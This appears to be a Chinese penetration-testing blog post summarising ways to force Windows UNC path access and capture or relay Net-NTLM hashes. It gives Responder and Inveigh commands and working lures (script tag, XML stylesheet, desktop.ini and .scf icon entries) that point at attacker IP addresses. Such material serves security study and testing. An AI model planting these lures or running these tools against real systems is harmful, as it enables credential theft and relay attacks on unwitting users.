总结:触发unc路径访问的方式

本文介绍了UNC路径访问条件及多种触发NTLM认证的方式,包括使用impacket、responder等工具,通过HTTP、LLMNR、NetBIOS协议,以及通过超链接、XSS、XML、PDF等手段实现UNC路径访问。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. 前言

Net-NTLM-hash劫持的时候一般都会用到unc路径,这篇文章是对于可以出发unc路径访问方式的总结。通过对unc路径的访问可以触发ntlm认证。

补充:触发条件

1、如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件

2、设有两台机器(A,B两机)都已经加入域(或分别属于连个相互信任的域中),如果A机用域用户帐户登录,B机处于本地登陆,那么从A机上可以UNC路径访问B机的共享文件夹,但是B机不能用unc路径访问A机的共享文件夹,这是因为,A机处于域用户登录状态,他可以从DC上获得B机的地址和服务票据(戴有炜《AD配置指南》P195)。但是B机没有在域中,所以无法到DC上查找A机的地址以及获得服务票据。所以B机不能通过UNC路径访问A机。

3、如果两机(A、B机IP段相同)都没有加入域,不管他本来就是工作组状态的两个,还是虽然是域成员,但用了本地帐号登录。这两台机器上没有相同的帐号和密码(比如都有一个hyj帐号,密码都是111),那么他们之间就无法UNC访问共享文件夹。

4、总上所述可以看出来,如果想让A机UNC路径访问B机,有两个途径:

一个是A通过向DC发出查询地址及请求服务票据的方法(A,B都加入域,并且至少A要处于域帐号登录状态),让DC在中间做引荐。

另一种就是在两个机器中一定要存在相同的本地用户帐号和密码。这样A就可以通过在局域网中向指定的主机名发包(UNC路径中就含有机器名,比如//server1/director)的方法找到配对的机器,然后得到这台机器的许可。

所以只要具备上面这两个条件,就可以用UNC路径访问。

如果这样看来,2情况中A如果不能通过DC找到B那么如果AB中都有相同的本地用户帐号和密码,那么他们之间也可以UNC路径访问。

2. 触发方式

涉及到的工具:

  1. impacket
  2. responder
  3. inveigh

2.1 利用协议触发

2.1.1 http

通过responder劫持net-ntlm并结合impacket中的ntlmrelays工具进行relay攻击,如下图执行了whoami命令:
在这里插入图片描述
在这里插入图片描述

2.1.2 LLMNR和NetBIOS协议

2.1.2.1 通过responder或者inveigh工具

这两个工具利用的是LLMNR和NetBIOS欺骗。首先我们需要知道Windows系统名称解析顺序为:

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)

  2. DNS缓存/DNS服务器

  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 当用户解析一个无法被解析的主机名的时候,就会走LLMNR协议或者NBT-NS协议。这时候我们就可以做手脚来让用户认为我们就是它想访问的目标,进而跟我们进行NTLM认证,这样子我们就能够获取到其NET-NTLM。
    hash。

Responder:
python编写,下载地址:
https://github.com/lgandx/Responder
Inveigh:
powershell编写,下载地址:
https://github.com/Kevin-Robertson/Inveigh

Inveigh

管理员权限打开攻击机器的powershell依次输入以下命令:
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process
在这里插入图片描述
在被攻击机器上的运行框输入一个任意的主机名并点击确定:
在这里插入图片描述
这时候返回攻击机,发现已经抓取到NET-NTLM hash
在这里插入图片描述
如果对方访问的是正确的主机,则显示的是:
在这里插入图片描述
它与域控进行NTLM协商,并没有经过我们的攻击机,也没有走LLMNR与NETBIOS协议。

responder

攻击机执行responder -I eth0 -f,I后面跟的是当前的网卡名字。被攻击机上执行的操作与Inveigh一样,得到结果如下,依旧抓到了目标用户的NET-NTML hash。
在这里插入图片描述

2.2 通过超链接触发

在这里插入图片描述
当用户点击超链接的时候就会触发unc路径访问。

2.3 利用xss触发

在htlm文件中嵌入恶意js代码,如果对方浏览了此html文件,则触发unc路径访问:

<script src="\\172.16.100.1\xss">

但这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域。

2.4 利用xml触发

构造恶意的xml文件,如果用户使用word打开,则会触发unc路径访问。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
<?xml version="1.0" encoding="utf-8" ?>
<Courses>
 <Course Number="MS-2524">
  <Title>XML Web Services Programming</Title>
 </Course>
 <Course Number="MS-2124">
  <Title>C# Programming</Title>
 </Course>
 <Course Number="NET2">
  <Title>.NET 2.0 Early Adapter</Title>
 </Course>
</Courses>

2.5 pdf

利用三好学生的脚本对pdf文件进行修改,当pdf被打开的时候会触发unc访问。
脚本下载地址:https://github.com/3gstudent/Worse-PDF

在这里插入图片描述
用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行。

2.6 desktop.ini

每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到。用户打开含有恶意desktop.ini的文件夹的时候就会触发unc路径访问。

[.ShellClassInfo]
IconResource=\\172.16.250.7\ini\1.ioc
[ViewState]
Mode=
Vid=
FolderType=Generic

经测试,更改桌面上的desktop.ini然后用户访问自己的用户文件夹时会触发unc路径访问。

在这里插入图片描述

在这里插入图片描述

2.7 scf文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。,用户打开含有恶意scf文件的文件夹时就会触发unc路径访问。

[Shell]
Command=2
IconFile=\\172.16.250.3\scf\test.ico
[Taskbar]
Command=ToggleDesktop

利用失败

2.8 xxe/ssrf

在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。
在ssrf里面如果支持file协议,并且file协议能加载远程资源的话,是能拿到net-ntlm hash的。

在xxe和ssrf测试中一般要测试这两个方面

  1. 支不支持UNC路径,比如\ip\x或者file://ip/x
  2. 支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的

2.9 outlook

将outlook配置成支持html(默认不支持),那么如果他人发送过来的邮件中插入html并含有恶意的xss代码,收件人打开邮件后就会触发unc路径访问。

2.10 word

  1. 创建一个带模版的word文档,然后将其用360压缩打开
    在这里插入图片描述

  2. 进入word_rels文件夹然后打开settings文件
    在这里插入图片描述
    修改target属性,并保存
    在这里插入图片描述
    打开word文档,即刻触发unc路径访问。

在这里插入图片描述

3. 参考文章

(原创)UNC路径的访问条件
域渗透学习笔记三:攻击NTLM
Forced Authentication
发起NTLM 请求

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值